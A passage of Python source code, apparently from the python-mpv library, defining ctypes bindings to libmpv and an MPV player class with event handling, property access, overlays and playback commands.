SCRIPT_INPUT_DISPATCH = 15
CLIENT_MESSAGE = 16
VIDEO_RECONFIG = 17
AUDIO_RECONFIG = 18
METADATA_UPDATE = 19
SEEK = 20
PLAYBACK_RESTART = 21
PROPERTY_CHANGE = 22
CHAPTER_CHANGE = 23
ANY = ( SHUTDOWN, LOG_MESSAGE, GET_PROPERTY_REPLY, SET_PROPERTY_REPLY, COMMAND_REPLY, START_FILE, END_FILE,
FILE_LOADED, TRACKS_CHANGED, TRACK_SWITCHED, IDLE, PAUSE, UNPAUSE, TICK, SCRIPT_INPUT_DISPATCH,
CLIENT_MESSAGE, VIDEO_RECONFIG, AUDIO_RECONFIG, METADATA_UPDATE, SEEK, PLAYBACK_RESTART, PROPERTY_CHANGE,
CHAPTER_CHANGE )
def __repr__(self):
return ['NONE', 'SHUTDOWN', 'LOG_MESSAGE', 'GET_PROPERTY_REPLY', 'SET_PROPERTY_REPLY', 'COMMAND_REPLY',
'START_FILE', 'END_FILE', 'FILE_LOADED', 'TRACKS_CHANGED', 'TRACK_SWITCHED', 'IDLE', 'PAUSE', 'UNPAUSE',
'TICK', 'SCRIPT_INPUT_DISPATCH', 'CLIENT_MESSAGE', 'VIDEO_RECONFIG', 'AUDIO_RECONFIG',
'METADATA_UPDATE', 'SEEK', 'PLAYBACK_RESTART', 'PROPERTY_CHANGE', 'CHAPTER_CHANGE'][self.value]
@classmethod
def from_str(kls, s):
return getattr(kls, s.upper().replace('-', '_'))
identity_decoder = lambda b: b
strict_decoder = lambda b: b.decode('utf-8')
def lazy_decoder(b):
try:
return b.decode('utf-8')
except UnicodeDecodeError:
return b
class MpvNodeList(Structure):
def array_value(self, decoder=identity_decoder):
return [ self.values[i].node_value(decoder) for i in range(self.num) ]
def dict_value(self, decoder=identity_decoder):
return { self.keys[i].decode('utf-8'):
self.values[i].node_value(decoder) for i in range(self.num) }
class MpvByteArray(Structure):
_fields_ = [('data', c_void_p),
('size', c_size_t)]
def __init__(self, value):
self._value = value
self.data = cast(c_char_p(value), c_void_p)
self.size = len(value)
def bytes_value(self):
return cast(self.data, POINTER(c_char))[:self.size]
class MpvNode(Structure):
def node_value(self, decoder=identity_decoder):
return MpvNode.node_cast_value(self.val, self.format.value, decoder)
@staticmethod
def node_cast_value(v, fmt=MpvFormat.NODE, decoder=identity_decoder):
if fmt == MpvFormat.NONE:
return None
elif fmt == MpvFormat.STRING:
return decoder(v.string)
elif fmt == MpvFormat.OSD_STRING:
return v.string.decode('utf-8')
elif fmt == MpvFormat.FLAG:
return bool(v.flag)
elif fmt == MpvFormat.INT64:
return v.int64
elif fmt == MpvFormat.DOUBLE:
return v.double
else:
if not v.node: # Check for null pointer
return None
if fmt == MpvFormat.NODE:
return v.node.contents.node_value(decoder)
elif fmt == MpvFormat.NODE_ARRAY:
return v.list.contents.array_value(decoder)
elif fmt == MpvFormat.NODE_MAP:
return v.map.contents.dict_value(decoder)
elif fmt == MpvFormat.BYTE_ARRAY:
return v.byte_array.contents.bytes_value()
else:
raise TypeError('Unknown MPV node format {}. Please submit a bug report.'.format(fmt))
class MpvNodeUnion(Union):
_fields_ = [('string', c_char_p),
('flag', c_int),
('int64', c_int64),
('double', c_double),
('node', POINTER(MpvNode)),
('list', POINTER(MpvNodeList)),
('map', POINTER(MpvNodeList)),
('byte_array', POINTER(MpvByteArray))]
MpvNode._fields_ = [('val', MpvNodeUnion),
('format', MpvFormat)]
MpvNodeList._fields_ = [('num', c_int),
('values', POINTER(MpvNode)),
('keys', POINTER(c_char_p))]
class MpvSubApi(c_int):
MPV_SUB_API_OPENGL_CB = 1
class MpvEvent(Structure):
_fields_ = [('event_id', MpvEventID),
('error', c_int),
('reply_userdata', c_ulonglong),
('data', c_void_p)]
def as_dict(self, decoder=identity_decoder):
dtype = {MpvEventID.END_FILE: MpvEventEndFile,
MpvEventID.PROPERTY_CHANGE: MpvEventProperty,
MpvEventID.GET_PROPERTY_REPLY: MpvEventProperty,
MpvEventID.LOG_MESSAGE: MpvEventLogMessage,
MpvEventID.SCRIPT_INPUT_DISPATCH: MpvEventScriptInputDispatch,
MpvEventID.CLIENT_MESSAGE: MpvEventClientMessage
}.get(self.event_id.value, None)
return {'event_id': self.event_id.value,
'error': self.error,
'reply_userdata': self.reply_userdata,
'event': cast(self.data, POINTER(dtype)).contents.as_dict(decoder=decoder) if dtype else None}
class MpvEventProperty(Structure):
_fields_ = [('name', c_char_p),
('format', MpvFormat),
('data', MpvNodeUnion)]
def as_dict(self, decoder=identity_decoder):
value = MpvNode.node_cast_value(self.data, self.format.value, decoder)
return {'name': self.name.decode('utf-8'),
'format': self.format,
'data': self.data,
'value': value}
class MpvEventLogMessage(Structure):
_fields_ = [('prefix', c_char_p),
('level', c_char_p),
('text', c_char_p)]
def as_dict(self, decoder=identity_decoder):
return { 'prefix': self.prefix.decode('utf-8'),
'level': self.level.decode('utf-8'),
'text': decoder(self.text).rstrip() }
class MpvEventEndFile(Structure):
_fields_ = [('reason', c_int),
('error', c_int)]
EOF = 0
RESTARTED = 1
ABORTED = 2
QUIT = 3
ERROR = 4
REDIRECT = 5
# For backwards-compatibility
@property
def value(self):
return self.reason
def as_dict(self, decoder=identity_decoder):
return {'reason': self.reason, 'error': self.error}
class MpvEventScriptInputDispatch(Structure):
_fields_ = [('arg0', c_int),
('type', c_char_p)]
def as_dict(self, decoder=identity_decoder):
pass # TODO
class MpvEventClientMessage(Structure):
_fields_ = [('num_args', c_int),
('args', POINTER(c_char_p))]
def as_dict(self, decoder=identity_decoder):
return { 'args': [ self.args[i].decode('utf-8') for i in range(self.num_args) ] }
StreamReadFn = CFUNCTYPE(c_int64, c_void_p, POINTER(c_char), c_uint64)
StreamSeekFn = CFUNCTYPE(c_int64, c_void_p, c_int64)
StreamSizeFn = CFUNCTYPE(c_int64, c_void_p)
StreamCloseFn = CFUNCTYPE(None, c_void_p)
StreamCancelFn = CFUNCTYPE(None, c_void_p)
class StreamCallbackInfo(Structure):
_fields_ = [('cookie', c_void_p),
('read', StreamReadFn),
('seek', StreamSeekFn),
('size', StreamSizeFn),
('close', StreamCloseFn), ]
# ('cancel', StreamCancelFn)]
StreamOpenFn = CFUNCTYPE(c_int, c_void_p, c_char_p, POINTER(StreamCallbackInfo))
WakeupCallback = CFUNCTYPE(None, c_void_p)
RenderUpdateFn = CFUNCTYPE(None, c_void_p)
OpenGlCbUpdateFn = CFUNCTYPE(None, c_void_p)
OpenGlCbGetProcAddrFn = CFUNCTYPE(c_void_p, c_void_p, c_char_p)
def _handle_func(name, args, restype, errcheck, ctx=MpvHandle, deprecated=False):
func = getattr(backend, name)
func.argtypes = [ctx] + args if ctx else args
if restype is not None:
func.restype = restype
if errcheck is not None:
func.errcheck = errcheck
if deprecated:
@wraps(func)
def wrapper(*args, **kwargs):
if not wrapper.warned: # Only warn on first invocation to prevent spamming
warn("Backend C api has been deprecated: " + name, DeprecationWarning, stacklevel=2)
wrapper.warned = True
return func(*args, **kwargs)
wrapper.warned = False
globals()['_'+name] = wrapper
else:
globals()['_'+name] = func
def bytes_free_errcheck(res, func, *args):
notnull_errcheck(res, func, *args)
rv = cast(res, c_void_p).value
_mpv_free(res)
return rv
def notnull_errcheck(res, func, *args):
if res is None:
raise RuntimeError('Underspecified error in MPV when calling {} with args {!r}: NULL pointer returned.'\
'Please consult your local debugger.'.format(func.__name__, args))
return res
ec_errcheck = ErrorCode.raise_for_ec
def _handle_gl_func(name, args=[], restype=None, deprecated=False):
_handle_func(name, args, restype, errcheck=None, ctx=MpvOpenGLCbContext, deprecated=deprecated)
backend.mpv_client_api_version.restype = c_ulong
def _mpv_client_api_version():
ver = backend.mpv_client_api_version()
return ver>>16, ver&0xFFFF
backend.mpv_free.argtypes = [c_void_p]
_mpv_free = backend.mpv_free
backend.mpv_free_node_contents.argtypes = [c_void_p]
_mpv_free_node_contents = backend.mpv_free_node_contents
backend.mpv_create.restype = MpvHandle
_mpv_create = backend.mpv_create
_handle_func('mpv_create_client', [c_char_p], MpvHandle, notnull_errcheck)
_handle_func('mpv_client_name', [], c_char_p, errcheck=None)
_handle_func('mpv_initialize', [], c_int, ec_errcheck)
_handle_func('mpv_detach_destroy', [], None, errcheck=None)
_handle_func('mpv_terminate_destroy', [], None, errcheck=None)
_handle_func('mpv_load_config_file', [c_char_p], c_int, ec_errcheck)
_handle_func('mpv_get_time_us', [], c_ulonglong, errcheck=None)
_handle_func('mpv_set_option', [c_char_p, MpvFormat, c_void_p], c_int, ec_errcheck)
_handle_func('mpv_set_option_string', [c_char_p, c_char_p], c_int, ec_errcheck)
_handle_func('mpv_command', [POINTER(c_char_p)], c_int, ec_errcheck)
_handle_func('mpv_command_string', [c_char_p, c_char_p], c_int, ec_errcheck)
_handle_func('mpv_command_async', [c_ulonglong, POINTER(c_char_p)], c_int, ec_errcheck)
_handle_func('mpv_command_node', [POINTER(MpvNode), POINTER(MpvNode)], c_int, ec_errcheck)
_handle_func('mpv_command_async', [c_ulonglong, POINTER(MpvNode)], c_int, ec_errcheck)
_handle_func('mpv_set_property', [c_char_p, MpvFormat, c_void_p], c_int, ec_errcheck)
_handle_func('mpv_set_property_string', [c_char_p, c_char_p], c_int, ec_errcheck)
_handle_func('mpv_set_property_async', [c_ulonglong, c_char_p, MpvFormat,c_void_p],c_int, ec_errcheck)
_handle_func('mpv_get_property', [c_char_p, MpvFormat, c_void_p], c_int, ec_errcheck)
_handle_func('mpv_get_property_string', [c_char_p], c_void_p, bytes_free_errcheck)
_handle_func('mpv_get_property_osd_string', [c_char_p], c_void_p, bytes_free_errcheck)
_handle_func('mpv_get_property_async', [c_ulonglong, c_char_p, MpvFormat], c_int, ec_errcheck)
_handle_func('mpv_observe_property', [c_ulonglong, c_char_p, MpvFormat], c_int, ec_errcheck)
_handle_func('mpv_unobserve_property', [c_ulonglong], c_int, ec_errcheck)
_handle_func('mpv_event_name', [c_int], c_char_p, errcheck=None, ctx=None)
_handle_func('mpv_error_string', [c_int], c_char_p, errcheck=None, ctx=None)
_handle_func('mpv_request_event', [MpvEventID, c_int], c_int, ec_errcheck)
_handle_func('mpv_request_log_messages', [c_char_p], c_int, ec_errcheck)
_handle_func('mpv_wait_event', [c_double], POINTER(MpvEvent), errcheck=None)
_handle_func('mpv_wakeup', [], None, errcheck=None)
_handle_func('mpv_set_wakeup_callback', [WakeupCallback, c_void_p], None, errcheck=None)
_handle_func('mpv_get_wakeup_pipe', [], c_int, errcheck=None)
_handle_func('mpv_stream_cb_add_ro', [c_char_p, c_void_p, StreamOpenFn], c_int, ec_errcheck)
_handle_func('mpv_render_context_create', [MpvRenderCtxHandle, MpvHandle, POINTER(MpvRenderParam)], c_int, ec_errcheck, ctx=None)
_handle_func('mpv_render_context_set_parameter', [MpvRenderParam], c_int, ec_errcheck, ctx=MpvRenderCtxHandle)
_handle_func('mpv_render_context_get_info', [MpvRenderParam], c_int, ec_errcheck, ctx=MpvRenderCtxHandle)
_handle_func('mpv_render_context_set_update_callback', [RenderUpdateFn, c_void_p], None, errcheck=None, ctx=MpvRenderCtxHandle)
_handle_func('mpv_render_context_update', [], c_int64, errcheck=None, ctx=MpvRenderCtxHandle)
_handle_func('mpv_render_context_render', [POINTER(MpvRenderParam)], c_int, ec_errcheck, ctx=MpvRenderCtxHandle)
_handle_func('mpv_render_context_report_swap', [], None, errcheck=None, ctx=MpvRenderCtxHandle)
_handle_func('mpv_render_context_free', [], None, errcheck=None, ctx=MpvRenderCtxHandle)
# Deprecated in v0.29.0 and may disappear eventually
if hasattr(backend, 'mpv_get_sub_api'):
_handle_func('mpv_get_sub_api', [MpvSubApi], c_void_p, notnull_errcheck, deprecated=True)
_handle_gl_func('mpv_opengl_cb_set_update_callback', [OpenGlCbUpdateFn, c_void_p], deprecated=True)
_handle_gl_func('mpv_opengl_cb_init_gl', [c_char_p, OpenGlCbGetProcAddrFn, c_void_p], c_int, deprecated=True)
_handle_gl_func('mpv_opengl_cb_draw', [c_int, c_int, c_int], c_int, deprecated=True)
_handle_gl_func('mpv_opengl_cb_render', [c_int, c_int], c_int, deprecated=True)
_handle_gl_func('mpv_opengl_cb_report_flip', [c_ulonglong], c_int, deprecated=True)
_handle_gl_func('mpv_opengl_cb_uninit_gl', [], c_int, deprecated=True)
def _mpv_coax_proptype(value, proptype=str):
"""Intelligently coax the given python value into something that can be understood as a proptype property."""
if type(value) is bytes:
return value;
elif type(value) is bool:
return b'yes' if value else b'no'
elif proptype in (str, int, float):
return str(proptype(value)).encode('utf-8')
else:
raise TypeError('Cannot coax value of type {} into property type {}'.format(type(value), proptype))
def _make_node_str_list(l):
"""Take a list of python objects and make a MPV string node array from it.
As an example, the python list ``l = [ "foo", 23, false ]`` will result in the following MPV node object::
struct mpv_node {
.format = MPV_NODE_ARRAY,
.u.list = *(struct mpv_node_array){
.num = len(l),
.keys = NULL,
.values = struct mpv_node[len(l)] {
{ .format = MPV_NODE_STRING, .u.string = l[0] },
{ .format = MPV_NODE_STRING, .u.string = l[1] },
...
}
}
}
"""
char_ps = [ c_char_p(_mpv_coax_proptype(e, str)) for e in l ]
node_list = MpvNodeList(
num=len(l),
keys=None,
values=( MpvNode * len(l))( *[ MpvNode(
format=MpvFormat.STRING,
val=MpvNodeUnion(string=p))
for p in char_ps ]))
node = MpvNode(
format=MpvFormat.NODE_ARRAY,
val=MpvNodeUnion(list=pointer(node_list)))
return char_ps, node_list, node, cast(pointer(node), c_void_p)
def _event_generator(handle):
while True:
event = _mpv_wait_event(handle, -1).contents
if event.event_id.value == MpvEventID.NONE:
raise StopIteration()
yield event
_py_to_mpv = lambda name: name.replace('_', '-')
_mpv_to_py = lambda name: name.replace('-', '_')
_drop_nones = lambda *args: [ arg for arg in args if arg is not None ]
class _Proxy:
def __init__(self, mpv):
super().__setattr__('mpv', mpv)
class _PropertyProxy(_Proxy):
def __dir__(self):
return super().__dir__() + [ name.replace('-', '_') for name in self.mpv.property_list ]
class _FileLocalProxy(_Proxy):
def __getitem__(self, name):
return self.mpv.__getitem__(name, file_local=True)
def __setitem__(self, name, value):
return self.mpv.__setitem__(name, value, file_local=True)
def __iter__(self):
return iter(self.mpv)
class _OSDPropertyProxy(_PropertyProxy):
def __getattr__(self, name):
return self.mpv._get_property(_py_to_mpv(name), fmt=MpvFormat.OSD_STRING)
def __setattr__(self, _name, _value):
raise AttributeError('OSD properties are read-only. Please use the regular property API for writing.')
class _DecoderPropertyProxy(_PropertyProxy):
def __init__(self, mpv, decoder):
super().__init__(mpv)
super().__setattr__('_decoder', decoder)
def __getattr__(self, name):
return self.mpv._get_property(_py_to_mpv(name), decoder=self._decoder)
def __setattr__(self, name, value):
setattr(self.mpv, _py_to_mpv(name), value)
class GeneratorStream:
"""Transform a python generator into an mpv-compatible stream object. This only supports size() and read(), and
does not support seek(), close() or cancel().
"""
def __init__(self, generator_fun, size=None):
self._generator_fun = generator_fun
self.size = size
def seek(self, offset):
self._read_iter = iter(self._generator_fun())
self._read_chunk = b''
return 0 # We only support seeking to the first byte atm
# implementation in case seeking to arbitrary offsets would be necessary
# while offset > 0:
# offset -= len(self.read(offset))
# return offset
def read(self, size):
if not self._read_chunk:
try:
self._read_chunk += next(self._read_iter)
except StopIteration:
return b''
rv, self._read_chunk = self._read_chunk[:size], self._read_chunk[size:]
return rv
def close(self):
self._read_iter = iter([]) # make next read() call return EOF
def cancel(self):
self._read_iter = iter([]) # make next read() call return EOF
# TODO?
class ImageOverlay:
def __init__(self, m, overlay_id, img=None, pos=(0, 0)):
self.m = m
self.overlay_id = overlay_id
self.pos = pos
self._size = None
if img is not None:
self.update(img)
def update(self, img=None, pos=None):
from PIL import Image
if img is not None:
self.img = img
img = self.img
w, h = img.size
stride = w*4
if pos is not None:
self.pos = pos
x, y = self.pos
# Pre-multiply alpha channel
bg = Image.new('RGBA', (w, h), (0, 0, 0, 0))
out = Image.alpha_composite(bg, img)
# Copy image to ctypes buffer
if img.size != self._size:
self._buf = create_string_buffer(w*h*4)
self._size = img.size
ctypes.memmove(self._buf, out.tobytes('raw', 'BGRA'), w*h*4)
source = '&' + str(addressof(self._buf))
self.m.overlay_add(self.overlay_id, x, y, source, 0, 'bgra', w, h, stride)
def remove(self):
self.m.remove_overlay(self.overlay_id)
class FileOverlay:
def __init__(self, m, overlay_id, filename=None, size=None, stride=None, pos=(0,0)):
self.m = m
self.overlay_id = overlay_id
self.pos = pos
self.size = size
self.stride = stride
if filename is not None:
self.update(filename)
def update(self, filename=None, size=None, stride=None, pos=None):
if filename is not None:
self.filename = filename
if pos is not None:
self.pos = pos
if size is not None:
self.size = size
if stride is not None:
self.stride = stride
x, y = self.pos
w, h = self.size
stride = self.stride or 4*w
self.m.overlay_add(self, self.overlay_id, x, y, self.filename, 0, 'bgra', w, h, stride)
def remove(self):
self.m.remove_overlay(self.overlay_id)
class MPV(object):
"""See man mpv(1) for the details of the implemented commands. All mpv properties can be accessed as
``my_mpv.some_property`` and all mpv options can be accessed as ``my_mpv['some-option']``.
By default, properties are returned as decoded ``str`` and an error is thrown if the value does not contain valid
utf-8. To get a decoded ``str`` if possibly but ``bytes`` instead of an error if not, use
``my_mpv.lazy.some_property``. To always get raw ``bytes``, use ``my_mpv.raw.some_property``. To access a
property's decoded OSD value, use ``my_mpv.osd.some_property``.
To get API information on an option, use ``my_mpv.option_info('option-name')``. To get API information on a
property, use ``my_mpv.properties['property-name']``. Take care to use mpv's dashed-names instead of the
underscore_names exposed on the python object.
To make your program not barf hard the first time its used on a weird file system **always** access properties
containing file names or file tags through ``MPV.raw``. """
def __init__(self, *extra_mpv_flags, log_handler=None, start_event_thread=True, loglevel=None, **extra_mpv_opts):
"""Create an MPV instance.
Extra arguments and extra keyword arguments will be passed to mpv as options.
"""
self.handle = _mpv_create()
self._event_thread = None
self._core_shutdown = False
_mpv_set_option_string(self.handle, b'audio-display', b'no')
istr = lambda o: ('yes' if o else 'no') if type(o) is bool else str(o)
try:
for flag in extra_mpv_flags:
_mpv_set_option_string(self.handle, flag.encode('utf-8'), b'')
for k,v in extra_mpv_opts.items():
_mpv_set_option_string(self.handle, k.replace('_', '-').encode('utf-8'), istr(v).encode('utf-8'))
finally:
_mpv_initialize(self.handle)
self.osd = _OSDPropertyProxy(self)
self.file_local = _FileLocalProxy(self)
self.raw = _DecoderPropertyProxy(self, identity_decoder)
self.strict = _DecoderPropertyProxy(self, strict_decoder)
self.lazy = _DecoderPropertyProxy(self, lazy_decoder)
self._event_callbacks = []
self._event_handler_lock = threading.Lock()
self._property_handlers = collections.defaultdict(lambda: [])
self._quit_handlers = set()
self._message_handlers = {}
self._key_binding_handlers = {}
self._event_handle = _mpv_create_client(self.handle, b'py_event_handler')
self._log_handler = log_handler
self._stream_protocol_cbs = {}
self._stream_protocol_frontends = collections.defaultdict(lambda: {})
self.register_stream_protocol('python', self._python_stream_open)
self._python_streams = {}
self._python_stream_catchall = None
self.overlay_ids = set()
self.overlays = {}
if loglevel is not None or log_handler is not None:
self.set_loglevel(loglevel or 'terminal-default')
if start_event_thread:
self._event_thread = threading.Thread(target=self._loop, name='MPVEventHandlerThread')
self._event_thread.setDaemon(True)
self._event_thread.start()
else:
self._event_thread = None
def _loop(self):
for event in _event_generator(self._event_handle):
try:
devent = event.as_dict(decoder=lazy_decoder) # copy data from ctypes
eid = devent['event_id']
with self._event_handler_lock:
if eid == MpvEventID.SHUTDOWN:
self._core_shutdown = True
for callback in self._event_callbacks:
callback(devent)
if eid == MpvEventID.PROPERTY_CHANGE:
pc = devent['event']
name, value, _fmt = pc['name'], pc['value'], pc['format']
for handler in self._property_handlers[name]:
handler(name, value)
if eid == MpvEventID.LOG_MESSAGE and self._log_handler is not None:
ev = devent['event']
self._log_handler(ev['level'], ev['prefix'], ev['text'])
if eid == MpvEventID.CLIENT_MESSAGE:
# {'event': {'args': ['key-binding', 'foo', 'u-', 'g']}, 'reply_userdata': 0, 'error': 0, 'event_id': 16}
target, *args = devent['event']['args']
if target in self._message_handlers:
self._message_handlers[target](*args)
if eid == MpvEventID.SHUTDOWN:
_mpv_detach_destroy(self._event_handle)
return
except Exception as e:
print('Exception inside python-mpv event loop:', file=sys.stderr)
traceback.print_exc()
@property
def core_shutdown(self):
"""Property indicating whether the core has been shut down. Possible causes for this are e.g. the `quit` command
or a user closing the mpv window."""
return self._core_shutdown
def check_core_alive(self):
""" This method can be used as a sanity check to tests whether the core is still alive at the time it is
called."""
if self._core_shutdown:
raise ShutdownError('libmpv core has been shutdown')
def wait_until_paused(self):
"""Waits until playback of the current title is paused or done. Raises a ShutdownError if the core is shutdown while
waiting."""
self.wait_for_property('core-idle')
def wait_for_playback(self):
"""Waits until playback of the current title is finished. Raises a ShutdownError if the core is shutdown while
waiting.
"""
self.wait_for_event('end_file')
def wait_until_playing(self):
"""Waits until playback of the current title has started. Raises a ShutdownError if the core is shutdown while
waiting."""
self.wait_for_property('core-idle', lambda idle: not idle)
def wait_for_property(self, name, cond=lambda val: val, level_sensitive=True):
"""Waits until ``cond`` evaluates to a truthy value on the named property. This can be used to wait for
properties such as ``idle_active`` indicating the player is done with regular playback and just idling around.
Raises a ShutdownError when the core is shutdown while waiting.
"""
with self.prepare_and_wait_for_property(name, cond, level_sensitive):
pass
def wait_for_shutdown(self):
'''Wait for core to shutdown (e.g. through quit() or terminate()).'''
sema = threading.Semaphore(value=0)
@self.event_callback('shutdown')
def shutdown_handler(event):
sema.release()
sema.acquire()
shutdown_handler.unregister_mpv_events()
@contextmanager
def prepare_and_wait_for_property(self, name, cond=lambda val: val, level_sensitive=True):
"""Context manager that waits until ``cond`` evaluates to a truthy value on the named property. See
prepare_and_wait_for_event for usage.
Raises a ShutdownError when the core is shutdown while waiting.
"""
sema = threading.Semaphore(value=0)
def observer(name, val):
if cond(val):
sema.release()
self.observe_property(name, observer)
@self.event_callback('shutdown')
def shutdown_handler(event):
sema.release()
yield
if not level_sensitive or not cond(getattr(self, name.replace('-', '_'))):
sema.acquire()
self.check_core_alive()
shutdown_handler.unregister_mpv_events()
self.unobserve_property(name, observer)
def wait_for_event(self, *event_types, cond=lambda evt: True):
"""Waits for the indicated event(s). If cond is given, waits until cond(event) is true. Raises a ShutdownError
if the core is shutdown while waiting. This also happens when 'shutdown' is in event_types.
"""
with self.prepare_and_wait_for_event(*event_types, cond=cond):
pass
@contextmanager
def prepare_and_wait_for_event(self, *event_types, cond=lambda evt: True):
"""Context manager that waits for the indicated event(s) like wait_for_event after running. If cond is given,
waits until cond(event) is true. Raises a ShutdownError if the core is shutdown while waiting. This also happens
when 'shutdown' is in event_types.
Compared to wait_for_event this handles the case where a thread waits for an event it itself causes in a
thread-safe way. An example from the testsuite is:
with self.m.prepare_and_wait_for_event('client_message'):
self.m.keypress(key)
Using just wait_for_event it would be impossible to ensure the event is caught since it may already have been
handled in the interval between keypress(...) running and a subsequent wait_for_event(...) call.
"""
sema = threading.Semaphore(value=0)
@self.event_callback('shutdown')
def shutdown_handler(event):
sema.release()
@self.event_callback(*event_types)
def target_handler(evt):
if cond(evt):
sema.release()
yield
sema.acquire()
self.check_core_alive()
shutdown_handler.unregister_mpv_events()
target_handler.unregister_mpv_events()
def __del__(self):
if self.handle:
self.terminate()
def terminate(self):
"""Properly terminates this player instance. Preferably use this instead of relying on python's garbage
collector to cause this to be called from the object's destructor.
This method will detach the main libmpv handle and wait for mpv to shut down and the event thread to finish.
"""
self.handle, handle = None, self.handle
if threading.current_thread() is self._event_thread:
raise UserWarning('terminate() should not be called from event thread (e.g. from a callback function). If '
'you want to terminate mpv from here, please call quit() instead, then sync the main thread '
'against the event thread using e.g. wait_for_shutdown(), then terminate() from the main thread. '
'This call has been transformed into a call to quit().')
self.quit()
else:
_mpv_terminate_destroy(handle)
if self._event_thread:
self._event_thread.join()
def set_loglevel(self, level):
"""Set MPV's log level. This adjusts which output will be sent to this object's log handlers. If you just want
mpv's regular terminal output, you don't need to adjust this but just need to pass a log handler to the MPV
constructur such as ``MPV(log_handler=print)``.
Valid log levels are "no", "fatal", "error", "warn", "info", "v" "debug" and "trace". For details see your mpv's
client.h header file.
"""
_mpv_request_log_messages(self._event_handle, level.encode('utf-8'))
def command(self, name, *args):
"""Execute a raw command."""
args = [name.encode('utf-8')] + [ (arg if type(arg) is bytes else str(arg).encode('utf-8'))
for arg in args if arg is not None ] + [None]
_mpv_command(self.handle, (c_char_p*len(args))(*args))
def node_command(self, name, *args, decoder=strict_decoder):
_1, _2, _3, pointer = _make_node_str_list([name, *args])
out = cast(create_string_buffer(sizeof(MpvNode)), POINTER(MpvNode))
ppointer = cast(pointer, POINTER(MpvNode))
_mpv_command_node(self.handle, ppointer, out)
rv = out.contents.node_value(decoder=decoder)
_mpv_free_node_contents(out)
return rv
def seek(self, amount, reference="relative", precision="default-precise"):
"""Mapped mpv seek command, see man mpv(1)."""
self.command('seek', amount, reference, precision)
def revert_seek(self):
"""Mapped mpv revert_seek command, see man mpv(1)."""
self.command('revert_seek');
def frame_step(self):
"""Mapped mpv frame-step command, see man mpv(1)."""
self.command('frame-step')
def frame_back_step(self):
"""Mapped mpv frame_back_step command, see man mpv(1)."""
self.command('frame_back_step')
def property_add(self, name, value=1):
"""Add the given value to the property's value. On overflow or underflow, clamp the property to the maximum. If
``value`` is omitted, assume ``1``.
"""
self.command('add', name, value)
def property_multiply(self, name, factor):
"""Multiply the value of a property with a numeric factor."""
self.command('multiply', name, factor)
def cycle(self, name, direction='up'):
"""Cycle the given property. ``up`` and ``down`` set the cycle direction. On overflow, set the property back to
the minimum, on underflow set it to the maximum. If ``up`` or ``down`` is omitted, assume ``up``.
"""
self.command('cycle', name, direction)
def screenshot(self, includes='subtitles', mode='single'):
"""Mapped mpv screenshot command, see man mpv(1)."""
self.command('screenshot', includes, mode)
def screenshot_to_file(self, filename, includes='subtitles'):
"""Mapped mpv screenshot_to_file command, see man mpv(1)."""
self.command('screenshot_to_file', filename.encode(fs_enc), includes)
def screenshot_raw(self, includes='subtitles'):
"""Mapped mpv screenshot_raw command, see man mpv(1). Returns a pillow Image object."""
from PIL import Image
res = self.node_command('screenshot-raw', includes)
if res['format'] != 'bgr0':
raise ValueError('Screenshot in unknown format "{}". Currently, only bgr0 is supported.'
.format(res['format']))
img = Image.frombytes('RGBA', (res['stride']//4, res['h']), res['data'])
b,g,r,a = img.split()
return Image.merge('RGB', (r,g,b))
def allocate_overlay_id(self):
free_ids = set(range(64)) - self.overlay_ids
if not free_ids:
raise IndexError('All overlay IDs are in use')
next_id, *_ = sorted(free_ids)
self.overlay_ids.add(next_id)
return next_id
def free_overlay_id(self, overlay_id):
self.overlay_ids.remove(overlay_id)
def create_file_overlay(self, filename=None, size=None, stride=None, pos=(0,0)):
overlay_id = self.allocate_overlay_id()
overlay = FileOverlay(self, overlay_id, filename, size, stride, pos)
self.overlays[overlay_id] = overlay
return overlay
def create_image_overlay(self, img=None, pos=(0,0)):
overlay_id = self.allocate_overlay_id()
overlay = ImageOverlay(self, overlay_id, img, pos)
self.overlays[overlay_id] = overlay
return overlay
def remove_overlay(self, overlay_id):
self.overlay_remove(overlay_id)
self.free_overlay_id(overlay_id)
del self.overlays[overlay_id]
def playlist_next(self, mode='weak'):
"""Mapped mpv playlist_next command, see man mpv(1)."""
self.command('playlist_next', mode)
def playlist_prev(self, mode='weak'):
"""Mapped mpv playlist_prev command, see man mpv(1)."""
self.command('playlist_prev', mode)
def playlist_play_index(self, idx):
"""Mapped mpv playlist-play-index command, see man mpv(1)."""
self.command('playlist-play-index', idx)
@staticmethod
def _encode_options(options):
return ','.join('{}={}'.format(_py_to_mpv(str(key)), str(val)) for key, val in options.items())
def loadfile(self, filename, mode='replace', **options):
"""Mapped mpv loadfile command, see man mpv(1)."""
print(MPV._encode_options(options))
self.command('loadfile', filename.encode(fs_enc), mode, MPV._encode_options(options))
def loadlist(self, playlist, mode='replace'):
"""Mapped mpv loadlist command, see man mpv(1)."""
self.command('loadlist', playlist.encode(fs_enc), mode)
def playlist_clear(self):
"""Mapped mpv playlist_clear command, see man mpv(1)."""
self.command('playlist_clear')
def playlist_remove(self, index='current'):
"""Mapped mpv playlist_remove command, see man mpv(1)."""
self.command('playlist_remove', index)
def playlist_move(self, index1, index2):
"""Mapped mpv playlist_move command, see man mpv(1)."""
self.command('playlist_move', index1, index2)
def playlist_shuffle(self):
"""Mapped mpv playlist-shuffle command, see man mpv(1)."""
self.command('playlist-shuffle')
def playlist_unshuffle(self):
"""Mapped mpv playlist-unshuffle command, see man mpv(1)."""
self.command('playlist-unshuffle')
def run(self, command, *args):
"""Mapped mpv run command, see man mpv(1)."""
self.command('run', command, *args)
def quit(self, code=None):
"""Mapped mpv quit command, see man mpv(1)."""
self.command('quit', code)
def quit_watch_later(self, code=None):
"""Mapped mpv quit_watch_later command, see man mpv(1)."""
self.command('quit_watch_later', code)
def stop(self, keep_playlist=False):
"""Mapped mpv stop command, see man mpv(1)."""
if keep_playlist:
self.command('stop', 'keep-playlist')
else:
self.command('stop')
def audio_add(self, url, flags='select', title=None, lang=None):
"""Mapped mpv audio_add command, see man mpv(1)."""
self.command('audio_add', url.encode(fs_enc), *_drop_nones(flags, title, lang))
def audio_remove(self, audio_id=None):
"""Mapped mpv audio_remove command, see man mpv(1)."""
self.command('audio_remove', audio_id)
def audio_reload(self, audio_id=None):
"""Mapped mpv audio_reload command, see man mpv(1)."""
self.command('audio_reload', audio_id)
def video_add(self, url, flags='select', title=None, lang=None):
"""Mapped mpv video_add command, see man mpv(1)."""
self.command('video_add', url.encode(fs_enc), *_drop_nones(flags, title, lang))
def video_remove(self, video_id=None):
"""Mapped mpv video_remove command, see man mpv(1)."""
self.command('video_remove', video_id)
def video_reload(self, video_id=None):
